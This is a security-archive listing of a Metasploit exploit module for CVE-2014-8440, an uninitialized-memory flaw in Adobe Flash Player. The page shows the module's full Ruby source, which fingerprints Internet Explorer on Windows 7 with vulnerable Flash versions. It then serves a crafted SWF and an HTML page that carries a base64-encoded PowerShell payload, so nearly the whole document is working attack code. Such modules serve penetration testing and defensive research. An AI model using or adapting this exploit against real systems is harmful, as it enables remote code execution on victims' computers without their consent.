Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory

2015-05-0100:00:00

Nicolas Joly

packetstormsecurity.com

0.974 High

EPSS

Percentile

99.9%

JSON

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Powershell  
include Msf::Exploit::Remote::BrowserExploitServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory',  
'Description' => %q{  
This module exploits an unintialized memory vulnerability in Adobe Flash Player. The  
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, which fails  
to initialize allocated memory. When using a correct memory layout this vulnerability  
leads to a ByteArray object corruption, which can be abused to access and corrupt memory.  
This module has been tested successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with  
Flash 15.0.0.189.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Nicolas Joly', # Vulnerability discovery  
'Unknown', # Exploit in the wild  
'juan vazquez' # msf module  
],  
'References' =>  
[  
['CVE', '2014-8440'],  
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-24.html'],  
['URL', 'http://malware.dontneedcoffee.com/2014/11/cve-2014-8440.html'],  
['URL', 'http://www.verisigninc.com/en_US/cyber-security/security-intelligence/vulnerability-reports/articles/index.xhtml?id=1081']  
],  
'Payload' =>  
{  
'DisableNops' => true  
},  
'Platform' => 'win',  
'BrowserRequirements' =>  
{  
:source => /script|headers/i,  
:os_name => OperatingSystems::Match::WINDOWS_7,  
:ua_name => Msf::HttpClients::IE,  
:flash => lambda { |ver| ver =~ /^15\./ && ver <= '15.0.0.189' },  
:arch => ARCH_X86  
},  
'Targets' =>  
[  
[ 'Automatic', {} ]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Nov 11 2014',  
'DefaultTarget' => 0))  
end  
  
def exploit  
@swf = create_swf  
super  
end  
  
def on_request_exploit(cli, request, target_info)  
print_status("Request: #{request.uri}")  
  
if request.uri =~ /\.swf$/  
print_status('Sending SWF...')  
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})  
return  
end  
  
print_status('Sending HTML...')  
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})  
end  
  
def exploit_template(cli, target_info)  
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"  
target_payload = get_payload(cli, target_info)  
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})  
b64_payload = Rex::Text.encode_base64(psh_payload)  
  
html_template = %Q|<html>  
<body>  
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />  
<param name="movie" value="<%=swf_random%>" />  
<param name="allowScriptAccess" value="always" />  
<param name="FlashVars" value="sh=<%=b64_payload%>" />  
<param name="Play" value="true" />  
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>  
</object>  
</body>  
</html>  
|  
  
return html_template, binding()  
end  
  
def create_swf  
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-8440', 'msf.swf')  
swf = ::File.open(path, 'rb') { |f| swf = f.read }  
  
swf  
end  
  
end  
`